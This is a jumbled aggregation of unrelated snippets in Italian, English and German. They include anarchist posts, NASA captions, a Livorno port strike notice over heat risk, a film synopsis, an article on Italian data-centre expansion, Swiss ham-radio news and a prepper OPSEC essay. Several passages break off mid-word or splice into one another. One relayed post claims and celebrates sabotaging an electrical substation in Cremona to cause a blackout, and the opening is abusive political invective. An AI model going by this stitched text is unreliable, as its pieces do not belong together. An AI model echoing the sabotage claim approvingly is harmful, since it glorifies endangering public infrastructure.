Il 27 luglio quella pagliaccia cattofascista (doppiogiochista) della Meloni (foto sopra), è andata ai cantieri dell’alta velocità Torino-Lione dichiarando ai mass media che i No Tav sono terroristi! Senza naturalmente chiedergli perché stavano manifestando, altrimenti sarebbero saltati fuori tanti altri altarini, sporchi e meschini, tipici della sua cultura borghese, egoista, arrivista, opportunista, ipocrita e repressiva. …
Diffondiamo: Questa notte Anna Cipriani, che in moltx hanno avuto modo di conoscere in diverse occasioni tra cui le presentazioni del libro del figlio Claudio, è venuta a mancare in ospedale a Napoli. Abbiamo percorso con lei un pezzo profondo e importantissimo, reciprocamente l’una a fianco all’altra anche nei momenti più duri, inclusa la repressione … Leggi tutto "CIAO ANNA!"
NASA opened its newest wind tunnel, the Flight Dynamics Research Facility at NASA’s Langley Research Center in Hampton, Virginia, on Friday, providing a critical resource for the agency and its partners to test the safety and performance of future generations of aircraft, rockets, and space exploration vehicles.
Nonostante i numerosi tavoli e confronti svolti negli ultimi mesi, continuano a mancare misure strutturali, omogenee e realmente efficaci, in grado di garantire un’adeguata tutela a tutte le lavoratrici e a tutti i lavoratori portuali, in particolare a coloro che operano nelle condizioni più gravose e maggiormente esposte al rischio da stress termico.
Il 14 luglio, con grave ritardo rispetto all’avvio della stagione estiva e all’entrata in vigore, alla fine di maggio, dell’ordinanza regionale relativa alla tutela delle lavoratrici e dei lavoratori esposti alle temperature elevate, si è finalmente riunito il Tavolo di Igiene e Sicurezza, al quale USB ha partecipato. Nel corso dell’incontro, l’Autorità di Sistema Portuale ha comunicato che, su 19 imprese portuali, ben 15 non avevano ancora trasmesso gli aggiornamenti dei DUVRI relativi al rischio da calore, nonostante tali aggiornamenti fossero stati richiesti già da circa due mesi.
Siamo ormai alla fine di luglio. L’ordinanza della Regione Toscana è entrata in vigore alla fine di maggio. Gli aggiornamenti richiesti erano noti da settimane e, tuttavia, la maggior parte delle imprese non aveva ancora adempiuto. È questa l’attenzione che viene riservata alle condizioni di lavoro e alla tutela della salute delle lavoratrici e dei lavoratori?
Come riportato anche dalla stampa locale, l’Autorità di Sistema Portuale ha annunciato l’avvio di ispezioni e verifiche. Un intervento necessario, ma che arriva quando l’estate è già nel pieno e quando le lavoratrici e i lavoratori sono stati esposti per settimane a temperature sempre più elevate. A rendere la situazione ancora più grave è il fatto che, proprio nelle lavorazioni più pesanti, gravose e maggiormente esposte al rischio da calore, vengono spesso impiegati lavoratori neoassunti, con contratti a termine o chiamati a prestare attività lavorativa in forme discontinue. Lavoratrici e lavoratori che, in molti casi, possono trovarsi in una condizione di maggiore precarietà e di minore possibilità di opporsi a ritmi, carichi di lavoro o condizioni operative che ritengono pericolose. Per questo motivo dal 2 al 9 agosto, nella fascia oraria compresa tra le ore 12.00 e le ore 16.00, è stato proclamato lo sciopero delle lavoratrici e dei lavoratori delle società e delle cooperative operanti nel porto di Livorno.
USB Mare e Porti Livorno ha inoltre richiesto nuovamente un incontro urgente al Presidente dell’Autorità di Sistema Portuale del Mar Tirreno Settentrionale, al fine di affrontare le gravi criticità connesse all’esposizione delle lavoratrici e dei lavoratori portuali alle temperature estreme e di individuare misure concrete, efficaci e immediatamente applicabili.
Invitiamo tutte le lavoratrici e tutti i lavoratori che, durante lo svolgimento delle proprie mansioni, dovessero riscontrare condizioni di rischio per la propria salute e sicurezza — in particolare nelle lavorazioni più pesanti, nelle stive, a bordo delle navi, sui ponti e nelle attività svolte sotto l’esposizione diretta al sole — ad aderire allo sciopero.
Scioperare significa tutelare la propria salute e la propria sicurezza, ma anche inviare un messaggio chiaro alle dirigenze aziendali, agli armatori e all’Autorità di Sistema Portuale: non è accettabile continuare a lavorare in condizioni che possono mettere a rischio l’incolumità delle persone. Le misure di mitigazione sono necessarie, ma non possono essere considerate, in ogni circostanza, sufficienti. Per USB, quando le temperature e le concrete condizioni di lavoro non consentono di garantire adeguati livelli di salute e sicurezza, si può e si deve arrivare anche alla sospensione delle operazioni portuali maggiormente esposte.
La salute delle lavoratrici e dei lavoratori non può essere subordinata alle esigenze produttive, ai tempi delle operazioni, alle scadenze commerciali o agli interessi economici delle imprese.
USB Mare e Porti Livorno esprime inoltre piena solidarietà alle lavoratrici e ai lavoratori di ASA S.p.A. e Giunti Carlo Alberto S.r.l., che nella giornata di oggi hanno scelto di scioperare per difendere la propria salute e la propria sicurezza, anche al di fuori delle procedure previste dalla Legge n. 146/1990. La loro mobilitazione dimostra quanto il problema del caldo estremo sia ormai concreto, diffuso e urgente e quanto sia necessario intervenire immediatamente, prima che si verifichino gravi conseguenze.
LA SALUTE E LA SICUREZZA NON SI DISCUTONO. SI DIFENDONO.
Come vivere pienamente il tempo con l’aiuto di Castaneda, Agostino e Heidegger Perché il tempo sembra accelerare con l’età?Carlos Castaneda ci invita a cambiare il nostro modo di vivere il tempo, dialogando idealmente con Agostino e Heidegger.Una riflessione filosofica sul tempo soggettivo, la presenza, la morte e il peso del passato. 🎬 Première16/08/2026 ore 14.00🔗https://www.youtube.com/watch?v=WLe8vL5IgpM […]
1922- 2026 In memoria di Filippo Filippetti anarchico livornese, antifascista, ucciso dai fascisti Domenica 2 agosto 2026 ore 19 Commemorazione presso la lapide Via Provinciale Pisana 354, Livorno (ex-scuola Camilli) Filippo Filipetti, giovane anarchico, viene ucciso il 2 agosto 1922 dai fascisti mentre si oppone, assieme ad altri antifascisti, ad una spedizione punitiva contro Livorno. […]
NASA’s James Webb Space Telescope’s Mid-Infrared Instrument (MIRI) reveals the nearby galaxy Centaurus A, exposing the dusty structures and hidden activity that shape this unusual system.
TREVICO-TORINO. VIAGGIO NEL FIAT-NAM
Scheda integrale: https://goo.gl/wYCLpv
Regia: Ettore Scola
Casa di produzione: Unitelefilm
Anno: 1972
Abstract: Fortunato è il nome del protagonista del film, un giovane che da Trevico, in provincia di Avellino, emigra nel Nord a Torino, dove gli hanno promesso un lavoro. Nella città della Fiat, Fortunato è protagonista di tristi vicende, purtroppo consuete per gli emigrati meridionali, che mettono in luce le difficoltà nella ricerca di un alloggio, la precarietà dei rapporti umani, l'inesistenza di una adeguata assistenza e dei servizi sociali. Fortunato trova solidarietà soltanto tra la gente semplice, tra gli umili, tra i diseredati, che incontra nei locali della stazione, dove trascorre le notti, nei dormitori pubblici, nelle mense per i poveri, nella piazza dove si danno appuntamento i meridionali che vivono a Torino. E' qui che Fortunato conosce un operaio, anch'egli meridionale, che dirige una sezione comunista e che parla al giovane del Partito e delle lotte che i lavoratori combattono ogni giorno; e Fortunato entra in contatto con questioni sindacali quali i ritmi di produzione, il lavoro a cottimo, l'adeguatezza dei salari, i conflitti di classe. Realtà e problematiche che successivamente Fortunato conoscerà direttamente, quando finalmente riuscirà ad entrare a lavorare alla Fiat. In fabbrica e nella città hanno luogo frequenti manifestazioni e agitazioni e in una di queste occasioni Fortunato incontra Vicky, una studentessa contestatrice; tra i due ragazzi nasce un legame politico e sentimentale, anche se profonde restano le differenze tra i due, e quindi le incomprensioni e le difficoltà. D'altra parte Fortunato vive una dura esistenza quotidiana: la scuola serale, che segue a prezzo di grandi sacrifici, il lavoro estenuante in fabbrica, i conflitti con il caposquadra, il regime Fiat che lo punisce confinandolo alla Ferriere, la realtà del ghetto in periferia dove ha trovato da dormire. Sottoposto a una logorante tensione fisica e psicologica, deluso anche da Vicky che non vuole decidersi a un rapporto più concreto e continuativo, Fortunato matura il proposito di abbandonare la fabbrica: infine sceglie di tornare al suo posto di lavoro, per battersi insieme ai suoi compagni.
Trevico-Torino: viaggio nel Fiat-nam è un film che Ettore Scola ha voluto girare in piena indipendenza, al di fuori delle consuete produzioni motivate da intenti commerciali. In parte inchiesta e in parte narrativo-didascalico, il film intende indagare sulla condizione umana dell'emigrazione meridionale in una città industriale come Torino e in particolare sulla classe operaia in un periodo di grandi lotte sindacali
Passare dalla connettività delle sedi a un sistema integrato a livello nazionale di interconnessioni per i data centre dell’INGV – Istituto Nazionale di Geofisica e Vulcanologia è il cambio di paradigma che l’ente ha posto al centro del nuovo Piano di sviluppo 2027, definito nell'ambito del rapporto associativo con GARR, la rete nazionale della ricerca e dell’istruzione.
Immagine in evidenza rielaborata con intelligenza artificiale
Secondo i dati più recenti, i data center – le infrastrutture che ospitano i server necessari, tra le altre cose, ad addestrare e utilizzare i sistemi di intelligenza artificiale – presenti o in progettazione in Italia sono 262: solo un anno fa erano 146. La crescita non riguarda soltanto il numero degli impianti, ma anche il loro fabbisogno energetico. Nel 2024 i data center italiani hanno consumato 5,8 TWh, pari a circa il 2% dei consumi elettrici nazionali. Secondo alcuni scenari riportati dall’Osservatorio Data Center del Politecnico di Milano, entro il 2035 potrebbero arrivare a consumare tra 24,5 e 42 TWh, pari al 7-12% del totale nazionale.
Di fronte a un’espansione così rapida, è necessario chiedersi se lo sviluppo dei data center possa essere governato in modo sostenibile o rischi invece di riprodurre le distorsioni già osservate negli Stati Uniti e in altri paesi: consumo di acqua ed energia, occupazione del suolo, aumento dei costi per i cittadini e benefici occupazionali inferiori alle attese.
È in questo scenario che il Ministero delle Imprese e del Made in Italy ha elaborato la “Strategia per l’attrazione in Italia degli investimenti industriali esteri in data center”. L’obiettivo di questa strategia è mostrare come il territorio italiano, con una rete di infrastrutture (fibra ottica, 5G e cavi sottomarini) distribuita in modo omogeneo in tutta la penisola, “possa garantire uno sviluppo sostenuto e sostenibile dei data center in grado di moltiplicare il fattore attrattivo agli investimenti”. Il documento presenta in tal senso un’analisi di settore e una strategia per ridurre e semplificare tempi e modalità di investimento, per rendere l’Italia un polo di investimenti strategico, definito ‘Hub del Mediterraneo’.
La diffusione dei data center in Italia
Il mercato dei data center in Italia è effettivamente in fortissima crescita: nel triennio 2023-2025 ci sono stati investimenti pari a 7,1 miliardi di euro e per i prossimi tre anni ci si aspetta di raggiungere i 25 miliardi. Una cifra comunque inferiore rispetto alle previsioni del 2023: secondo i dati riportati sempre dall’Osservatorio del Politecnico, ci si aspettava infatti di raggiungere 10,5 miliardi di euro. L’incongruenza è dovuta principalmente agli errori di previsione di operatori internazionali, che sono entrati nel mercato italiano con eccessivo ottimismo riguardo alle tempistiche burocratiche italiane. Ed è proprio per venire incontro alle esigenze degli investitori internazionali e capitalizzare il più possibile le previsioni di mercato che è stata sviluppata la Strategia del Mimit.
Attualmente, dalla richiesta di costruzione di un data center fino al diritto di iniziare i lavori è previsto un iter che va dai 18 mesi ai 3 anni, periodo nel quale vengono espletate le valutazioni urbanistiche e ambientali. Un periodo che secondo l’Italian Data Center Association (IDA), citata nella strategia, pone il nostro paese in svantaggio competitivo rispetto ad altre nazioni europee. Per superare questo limite, il Mimit propone l’introduzione di un’Autorizzazione Unica a livello nazionale, che possa semplificare le procedure e unificarle sotto un unico ente amministrativo, così da garantire tempi certi.
L’impatto dei data center sul territorio
La semplificazione, in linea di principio, non sottovaluta l’impatto dei data center nel territorio italiano. Anzi, la strategia identifica quattro potenziali effetti benefici a livello territoriale e locale derivanti dagli investimenti sui data center: riqualificazione di aree industriali dismesse (i cosiddetti siti brownfield), iniezione di risorse economiche nei comuni coinvolti, utilizzo del calore di scarto per teleriscaldamento, aumento dei posti di lavoro nel territorio. Va tuttavia verificato se e in che modo questi benefici possono concretizzarsi, analizzando la situazione nei territori protagonisti della crescita del settore.
La Lombardia è di gran lunga la regione che riceve più investimenti, candidandosi a essere una delle maggiori regioni europee per numero di data center, attualmente concentrati soprattutto nella città metropolitana di Milano, a Bergamo e, più di recente, nella provincia di Pavia. Questi territori stanno vivendo un aumento vertiginoso di nuove strutture: secondo Data Center Map, sono oltre 110 i data center attivi nella sola Lombardia, a cui se ne aggiungeranno una trentina nei prossimi anni. Il rapido sviluppo di queste strutture porta con sé alcune controversie rispetto ai benefici ambientali, specialmente riguardo alla bonifica e riutilizzo delle aree industriali e al teleriscaldamento tramite il calore di scarto.
Su questi aspetti, la strategia pone solo delle linee guida da rispettare laddove possibile: per esempio, riconvertire siti brownfield invece di utilizzare aree verdi (greenfield) o prediligere sistemi a circuito chiuso in grado di consumare meno acqua. Tuttavia, in assenza di una legge, queste linee guida non vincolano chi investe nel territorio italiano. Per colmare questo vuoto, e per l’ampio numero di investitori, nel maggio scorso la Lombardia è stata la prima regione italiana a promulgare una legge in questa direzione, che pone disincentivi fino al 200% per chi costruisce su terreni verdi che potrebbero essere destinati all’agricoltura.
“Ma la legge non ha tenuto conto delle richieste”, commenta, parlando con Guerre di Rete, Renato Bertoglio di Legambiente Pavia. “Abbiamo chiesto di governare il processo, di porre vincoli, invece hanno messo disincentivi che il più delle volte non hanno un effetto reale, perché costa meno pagare il sovrapprezzo piuttosto che bonificare un’ex area industriale”. Anche da parte di Legambiente, dunque, c’è la richiesta di una legge nazionale che definisca delle condizioni e le renda vincolanti. In assenza di essa, il sito di costruzione di un data center è soggetto alle contingenze del luogo e degli attori coinvolti: può essere effettivamente scelto un sito brownfield, come nel caso del progetto del data center hyperscale della società DC Adriatic a Bari, oppure occupare 60mila metri quadri di terreno verde, come a Certosa di Pavia.
L’invasione del pavese
Negli ultimi anni, proprio la zona del pavese sta vedendo la costruzione di numerosi data center: oltre a Certosa, a Lacchiarella è previsto un campus con cinque data center da oltre 200mila metri quadri, a Vellezzo Bellini 110mila, a Bornasco 165mila. Non sempre i progetti offrono ai territori in cui sono installati i benefici indicati nella strategia: se a Magenta, per esempio, è stata riqualificata la vecchia area industriale della Novaceta, a Certosa si vuole costruire su un terreno verde che era destinato ad uso agricolo.
In entrambi i casi, i cittadini denunciano la costruzione a breve distanza dalle abitazioni: “Non si è considerato che, negli ultimi anni, i paesi si sono espansi in contiguità alle aree dismesse”, dice a Guerre di Rete Sergio Manera, fisico e membro del Comitato di tutela del territorio Certosino. “Non si può costruire vicino alle case, così si rischiano di ripetere gli errori del passato, quando si costruiva senza la sensibilità ambientale che abbiamo oggi”. Nella legge della Regione Lombardia è assente qualsiasi riferimento al limite di vicinanza, e ciò, secondo Manera, fa perdere valore agli immobili del territorio, ridimensionando in questo modo anche gli oneri di urbanizzazione che, secondo la strategia, dovrebbero costituire risorse economiche per i comuni dove si costruisce.
Come sottolinea Chiara Brocchetta, vicepresidente del Comitato Certosino, ci sono altre vie per far girare l’economia locale: “Certosa ha guadagnato tre milioni dagli oneri dovuti alla costruzione, ma il vicino comune di Borgarello ne ha presi molti di più attraverso progetti europei. In tutto il territorio stanno nascendo sempre più data center, bisogna considerare gli effetti cumulativi di questi impianti in un corridoio agricolo che è anche un’area ad alto interesse turistico”.
D’altronde, l’impatto ambientale non riguarda soltanto i comuni in cui vengono costruiti i data center, ma anche in quelli confinanti. Ce lo spiega Alberta Samuele, sindaca di Borgarello, comune che confina con Certosa e con l’area in cui sorgerà il data center: “L’effetto inquinante sarà prevalentemente nel nostro comune, che non godrà di alcun beneficio economico da questa struttura. Negli ultimi anni abbiamo vinto bandi da sei milioni di euro spesi in opere pubbliche: costruzione di un ambulatorio, ristrutturazione della scuola, depavimentazione. Ci può essere crescita economica anche senza snaturare il territorio”.
Da quanto emerge da queste testimonianze, la scelta di siti brownfield, laddove venisse effettuata, non sarebbe comunque sufficiente per mitigare gli impatti ambientali, che rimarrebbero elevati specialmente perché si costruiscono tanti impianti in un’area ridotta. In Lombardia è presente quasi la metà dei data center nazionali e anche guardando le richieste di allacciamento (dunque l’interesse futuro) per i data center, La Lombardia da sola rappresenta quasi il 50% di potenza richiesta, seguita con molto distacco da Piemonte (15%) e Puglia (10%).
Nonostante la maggior parte delle richieste non sia concretamente realizzabile, il rapporto mostra bene la loro distribuzione. La sola Milano, secondo dati del Politecnico, concentra il 68% della potenza energetica nominale installata a livello nazionale con 414 MW IT e punta a superare il valore simbolico di 1 GW entro il 2028. D’altra parte, la strategia del Ministero si propone di distribuire queste infrastrutture su tutta la penisola, ma i comitati cittadini e Legambiente sono d’accordo nel chiedere con celerità una legge nazionale che governi il fenomeno.
Teleriscaldamento e rinnovabili
Anche l’energia pulita gode di grande attenzione. Oggi, con il mix energetico che è al 40% circa composto da fonti rinnovabili, le emissioni di CO2 da parte dei data center sono approssimativamente un milione di tonnellate, a quanto riporta il Politecnico di Milano. Secondo il Piano Nazionale Integrato Energia e Clima (PNIEC) entro il 2030 sarà necessario installare in Italia circa 65 GW di nuova capacità rinnovabile per realizzare un mix elettrico decarbonizzato al 65%. Se anche fosse raggiunto questo obiettivo, secondo l’Osservatorio del Politecnico le emissioni raggiungerebbero un intervallo tra 2,9 e 5 milioni di tonnellate. Una crescita sostenuta e dovuta proprio all’aumento dei data center, ma comunque contenuta rispetto alle 5-8 milioni di tonnellate di emissioni previste se il mix energetico rimanesse invariato.
La strada verso le rinnovabili è un impegno fondamentale e la strategia del Ministero si muove in questa direzione. Tuttavia, l’energia pulita, da sola, non è sufficiente, perché, come ci spiega Manera, “nel momento in cui ci si allaccia alla corrente elettrica, si utilizza il mix nazionale. Quindi non è possibile, come dicono alcuni, realizzare un data center con energia al 100% rinnovabile, a meno di togliere le fonti pulite ad altri, visto che la coperta è corta”.
Per questo motivo, grande importanza è dedicata anche alle tecnologie che permettono di ridurre inquinamento e dispersione di calore. Il teleriscaldamento, capace di riutilizzare il calore di scarto dei data center per riscaldare abitazioni vicine, è per esempio considerato da varie parti la soluzione ottimale. Permette di ridurre i costi dell’energia così come le emissioni di CO2: esemplare è il caso del data center Avalon 3 di Retelit, a Milano, che, secondo IDA, consente di riscaldare le abitazioni di 1.250 famiglie del Municipio 6, con un risparmio energetico equivalente a 1.300 tonnellate di petrolio e una riduzione delle emissioni di CO2 di 3.300 tonnellate. Ad oggi sono però ben pochi i progetti che godono di tale efficienza. “Ma sono necessari: l’alternativa è la dispersione di calore nell’aria”, spiega Manera, che fa notare come esista una direttiva UE che impone alle imprese uno studio di efficienza energetica per questo tipo di impianti.
La crescita occupazionale
La strategia del Mimit cita tra gli impatti benefici sui territori anche la “creazione di posti di lavoro ad alta specializzazione, sia nelle fasi di progettazione e costruzione sia nella gestione operativa delle infrastrutture stesse”. Secondo l’Italian Data Center Association (IDA), nel 2024 si contavano 28mila lavoratori nell’orbita dei data center, ma di questi solo 1200 erano lavoratori diretti nelle strutture. La maggioranza dei nuovi posti di lavoro riguarda la fase di costruzione, oppure si concentra nelle imprese legate al mondo del digitale e dell’intelligenza artificiale, e quindi la creazione di data center è solo in parte causa di queste nuove assunzioni.
Non è facile trovare dati sulla crescita dell’occupazione nei data center, ma varie fonti riportano che il settore è agli ultimi posti riguardo a numero di lavoratori per metro quadro. Un recente articolo del Wall Street Journal ha riportato il caso di Abeline, una città in Texas in cui per un data center che inizialmente avrebbe dovuto occupare 100mila metri quadrati non sarebbero stati assunti più di 100 lavoratori. In questo modo, creare un data center in un territorio non significa necessariamente aumentare i posti di lavoro in quel dato luogo.
Nella strategia del Mimit, molta attenzione è dedicata alla semplificazione amministrativa per ridurre i tempi degli investimenti, mentre per le questioni ambientali si rimanda alle direttive europee e alle linee guida del Ministero dell’Ambiente. Anche per questo è necessaria una legge complessiva, che garantisca una visione a lungo termine di sviluppo tecnologico sostenibile.
Riceviamo e diffondiamo: Il giorno primo luglio abbiamo manomesso una cabina elettrica. La fortuna ha voluto che una parte del centro di Cremona sia andata al buio. Niente luce in strada. Senza volto, si è diffuso un blackout durato qualche ora. L’energia è legata alla guerra, la guerra alla repressione e repressione vuol dire carcere. … Leggi tutto "CREMONA: IN SOLIDARIETÀ ALLE ARRESTATX DEL 16 GIUGNO"
Am Samstag, 10. Oktober 2026, trifft sich die Notfunkszene in Brütten. Die USKA öffnet die Fachtagung erstmals gezielt für Behördenvertreter/-innen.
Ein flächendeckender Stromausfall legt die reguläre Kommunikation rasch lahm. Wenn Festnetz, Mobilfunk und Internet ausfallen, greift das klassische Szenario des Notfunks. Am Samstag, 10. Oktober 2026, richtet die USKA in Brütten die diesjährige EmComm-Tagung aus.
Erweitertes Konzept
Das Konzept erweitert den Fokus massiv. Erstmals richtet sich die Veranstaltung parallel an lizenzierte Funkamateurinnen und Funkamateure sowie an Vertreter von Behörden und Rettungsorganisationen.
Behörden eingebunden
Für die Behördenvertreter steht ein eigener Vortragsblock auf dem Programm. Fachjargon bleibt dort draussen. Dominik Schwerzmann, HB3YQP, Leiter des Amts für Bevölkerungsschutz, Zivilschutz und Militär des Kantons Zug, berichtet aus erster Hand über die praktische Zusammenarbeit zwischen Behörden und Funkamateur/-innen.
Spezielles Notfunk-Rack
Ein technischer Schwerpunkt liegt auf der sogenannten «letzten Meile» zur Bevölkerung. Die Anbindung der Zivilbevölkerung im Krisenfall erfolgt nicht zwingend über hochkomplexe Kurzwellenstationen. Jedermannsfunk wie CB-Funk und PMR-446 rückt direkt in das Einsatzkonzept ein. Vorgeführt wird ein speziell konzipiertes Notfunk-Rack (siehe Bild), das genau diese Schnittstellen bedient.
Analog und digital
Am Vormittag stehen für die Amateurfunker/-innen Fachvorträge über aktuelle Übertragungsverfahren auf dem Plan. Der Nachmittag gehört der Praxis im Aussenbereich. Auf dem Areal warten Vorführungen von Winlink-2000 über Kurzwelle und UKW, digitale MESH-Netzwerke via AREDN sowie Sprachverbindungen über regionale VHF- und UHF-Relais.
Behördenmitglieder erhalten eine geführte Besichtigung des Notfunk-Containers Brütten. Ergänzend zeigen verschiedene Seletionen und Notfunkgruppen ihre mobilen Ausrüstungen. Wer Datenverbindungen für E-Mails und Bilder unter Feldbedingungen erleben will, sieht das Handwerk vor Ort in Aktion.
Amateurfunk: Mehr als ein Hobby
Die Tagung setzt ein klares Zeichen. Notfunk ist kein isoliertes Hobby, sondern ein strukturiertes Bindeglied im Ernstfall für den Bevölkerungsschutz. Die Teilnahme bietet für Funkende und Behördenmitglieder die Gelegenheit, Kontakte zu knüpfen und Einsatzszenarien realistisch durchzusprechen.
This illustration depicts charged particles from a solar storm stripping away charged particles of Mars' atmosphere, one of the processes of Martian atmosphere loss studied by NASA's MAVEN mission.
Die neue Ausgabe 4/2026 des «HBradio» ist erschienen. USKA-Mitglieder können das Magazin ab sofort im geschützten Bereich der USKA-Website als PDF herunterladen.
Das Redaktionsteam um Chefredaktor Dr. Willy Rüsch (HB9AHL) und den technischen Redaktor Dr. Mathias Weyland (HB9FRV) bietet auf 84 Seiten wieder eine breite Palette an technischen Fachbeiträgen, Contest-Auswertungen und aktuellen Themen der Schweizer Funklandschaft. Einige Highlights aus der aktuellen Ausgabe:
Weltrekord auf 76 GHz: Erstes EME-QSO
Manfred Plötz (DL7YC) beschreibt den technischen Weg von 70 cm bis hinauf zu den Mikrowellen. Am 22. April 2026 gelang ihm gemeinsam mit Sergei (RW3BP) die weltweit erste Erde-Mond-Erde-Verbindung auf 76 GHz im Mode Q65-60E. Der Beitrag erläutert die komplexe Technik wie Hochleistungs-SSPA, Vorverstärker und die präzise Antennennachführung im Librations-Minimum.
Rechtliche Grundlagen: Eigenimport von Funkgeräten
Urs Lott (HB9BKT) beleuchtet die Fallstricke beim Direktimport kommerzieller Amateurfunkgeräte aus dem Ausland. Der Artikel fasst die Vorgaben von BAKOM und Zoll zusammen und erklärt die Sonderregelungen sowie Duldungspraktiken für HB9- bzw. HB3-Inhaber.
Nach der Havarie: Neuanfang mit ÜberSDR auf der Rigi Scheidegg
Nachdem ein Blitzeinschlag im Mai 2026 etwa 70 % der Remote-Station zerstörte, berichten Wolfgang Sidler (HB9RYZ) und Frédéric Furrer (HB9CQK) über den Neuaufbau. Der neue WebSDR-Server auf 1’660 m ü. M. bietet unter anderem Echtzeit-Zugriff auf das HF-Spektrum (0–30 MHz) sowie integrierte Decoder für digitale Betriebsarten.
Vernehmlassung: Eingabe der USKA zur Requisitionsverordnung
Die USKA fordert, dass private Notfunkeinrichtungen und Relaisstationen von staatlichen Requisitionen ausgenommen bleiben, um die zivile Krisenresilienz im Notfall nicht zu schwächen.
Contest-Ergebnisse: Helvetia-H26-Contest 2026
Contest-Manager Dominik Bugmann (HB9CZF) präsentiert die vollständigen Ranglisten, Log-Statistiken sowie Erfahrungsberichte und Bilder zahlreicher Teilnehmer.
Dalle scorte domestiche ai social network: ciò che comunichiamo senza accorgercene
Essere discreti non riguarda soltanto il modo in cui ci vestiamo.
Una persona può utilizzare uno zaino urbano, muoversi in modo naturale e non attirare particolare attenzione, ma allo stesso tempo comunicare una grande quantità di informazioni attraverso ciò che trasporta, ciò che racconta e ciò che pubblica online.
Nelle prime due parti dello Speciale AIP dedicato al Grey Man abbiamo analizzato il concetto e la sua applicazione pratica.
Ora dobbiamo affrontare una domanda diversa:
Che cosa stiamo comunicando agli altri senza rendercene conto?
Per un prepper, questa domanda può riguardare:
scorte;
acqua;
energia;
equipaggiamento;
competenze;
spostamenti;
abitudini familiari;
presenza digitale.
Ed è qui che il Grey Man incontra un altro concetto importante: l’OPSEC.
Il NIST descrive l’OPSEC come un processo sistematico volto a proteggere informazioni generalmente non classificate che potrebbero rivelare capacità e intenzioni. Il processo comprende l’identificazione delle informazioni critiche, l’analisi delle minacce e delle vulnerabilità, la valutazione del rischio e l’applicazione di contromisure appropriate. Unterintelligence and Security Agency sottolinea che l’OPSEC protegge informazioni critiche, classificate o non classificate, che potrebbero essere utilizzate contro un’organizzazione, invitando a osservare le proprie attività anche dal punto di vista di un possibile avversario. Grey Man e OPSEC non sono sinonimi.
Il Grey Man riguarda principalmente la gestione della propria presenza percepibile.
L’OPSEC riguarda la protezione di informazioni e indicatori rilevanti.
I due concetti possono però incontrarsi.
Uno zaino tattico può suggerire la presenza di equipaggiamento.
Una power station trasportata apertamente comunica disponibilità di energia.
Una conversazione può rivelare l’esistenza di scorte.
Una fotografia pubblicata online può mostrare dove vengono conservate.
Concetto AIP
La discrezione non consiste nel mentire. Consiste nel non distribuire informazioni prive di utilità per chi le riceve.
Le informazioni apparentemente innocue
Una singola informazione può sembrare irrilevante.
Il problema nasce quando diverse informazioni vengono raccolte e combinate.
Immaginiamo una persona che nel corso del tempo pubblichi:
una fotografia della propria power station;
un video della dispensa;
immagini dell’impianto fotovoltaico;
un post nel quale annuncia una settimana di vacanza;
fotografie dalle quali è riconoscibile l’abitazione;
immagini del veicolo;
informazioni sulla composizione della famiglia.
Ogni contenuto, preso singolarmente, può apparire innocuo.
Nel loro insieme, però, questi elementi possono ricostruire risorse, abitudini e vulnerabilità.
La metodologia OPSEC considera proprio il valore degli indicatori e delle informazioni che, pur non essendo necessariamente segreti, possono essere raccolti e interpretati. o del blackout
Immaginiamo un blackout urbano prolungato.
Durante le prime ore, molte persone utilizzano telefoni, torce e batterie portatili.
Con il passare del tempo, la disponibilità di energia diminuisce.
Alcuni negozi restano chiusi.
Le comunicazioni diventano più difficili.
La possibilità di ricaricare un telefono acquista maggiore valore.
Una persona attraversa il quartiere trasportando una power station costosa, pannelli solari pieghevoli e diversi dispositivi elettronici chiaramente visibili.
Non sta facendo nulla di sbagliato.
Tuttavia comunica:
di possedere energia;
di avere attrezzatura di valore;
di conoscere sistemi alternativi di alimentazione;
di disporre probabilmente di altre risorse.
Il principio Grey Man suggerirebbe, quando possibile, di ridurre l’esposizione non necessaria dell’attrezzatura.
Questo non significa rifiutare di aiutare gli altri.
Significa decidere consapevolmente come, quando e in quale misura rendere visibili le proprie capacità.
Le risorse comunicano
Una famiglia può rivelare involontariamente la propria preparazione attraverso:
taniche di carburante visibili;
grandi quantità d’acqua trasportate apertamente;
pannelli solari;
generatori;
antenne;
apparati radio;
confezioni di alimenti in grandi quantità;
attrezzature lasciate in vista;
conversazioni con vicini o conoscenti.
Non tutto può o deve essere nascosto.
L’obiettivo non è rendere segreta la propria abitazione.
È imparare a chiedersi:
Questa informazione deve essere visibile a chiunque?
In alcuni casi la risposta sarà sì.
In altri no.
La sicurezza nasce anche dalla possibilità di scegliere consapevolmente.
Il Grey Man digitale
Oggi la discrezione fisica rappresenta soltanto una parte del problema.
Una persona può muoversi in modo ordinario per strada e contemporaneamente aver pubblicato online:
fotografie della propria abitazione;
l’inventario delle scorte;
il modello della power station;
la disposizione dei pannelli fotovoltaici;
dettagli del sistema di sicurezza;
la targa del veicolo;
il luogo nel quale trascorre i fine settimana;
le date delle vacanze;
la posizione di un terreno o di un rifugio.
La CISA raccomanda di prestare attenzione alle informazioni condivise online e di gestire le impostazioni dei social network per migliorare privacy e sicurezza. Raccomanda inoltre di limitare la quantità di informazioni personali pubblicate, evitando dati che possano rendere una persona più vulnerabile, come indirizzi o informazioni sulle proprie abitudini. r moderno, discrezione fisica e sicurezza digitale devono quindi procedere insieme.
A cosa serve passare inosservati per strada se online abbiamo già pubblicato l’inventario della nostra preparazione?
Prima di pubblicare
Prima di condividere una fotografia o un video può essere utile chiedersi:
Sullo sfondo è visibile un indirizzo?
È riconoscibile l’ingresso dell’abitazione?
Sono visibili targhe, documenti o numeri di serie?
Il contenuto rivela la posizione di attrezzature?
Sto mostrando quantità significative di risorse?
Sto comunicando che la casa resterà vuota?
Le fotografie pubblicate in momenti diversi possono essere combinate?
Sto esponendo informazioni relative ad altre persone?
Non è necessario smettere di utilizzare i social network.
È necessario utilizzarli con maggiore consapevolezza.
Anche le conversazioni sono informazioni
Molte informazioni vengono comunicate semplicemente parlando.
Durante un’emergenza, frasi come:
“Abbiamo scorte per tre mesi”;
“Ho un generatore in garage”;
“Conserviamo centinaia di litri d’acqua”;
“Se succede qualcosa andremo nella casa in montagna”;
possono rivelare più di quanto sia necessario.
Questo non significa mentire.
Non significa nemmeno rifiutare ogni dialogo.
Significa comprendere che non tutte le informazioni devono essere condivise con chiunque.
Grey Man e cooperazione
Una delle interpretazioni più problematiche del Grey Man presenta la società come una massa ostile dalla quale nascondersi.
Questa visione è riduttiva.
Durante molte emergenze, vicini, volontari, associazioni e cittadini diventano risorse decisive.
La cooperazione permette di condividere:
informazioni;
competenze;
assistenza;
trasporti;
sorveglianza;
risorse.
La discrezione non dovrebbe degenerare nell’isolamento.
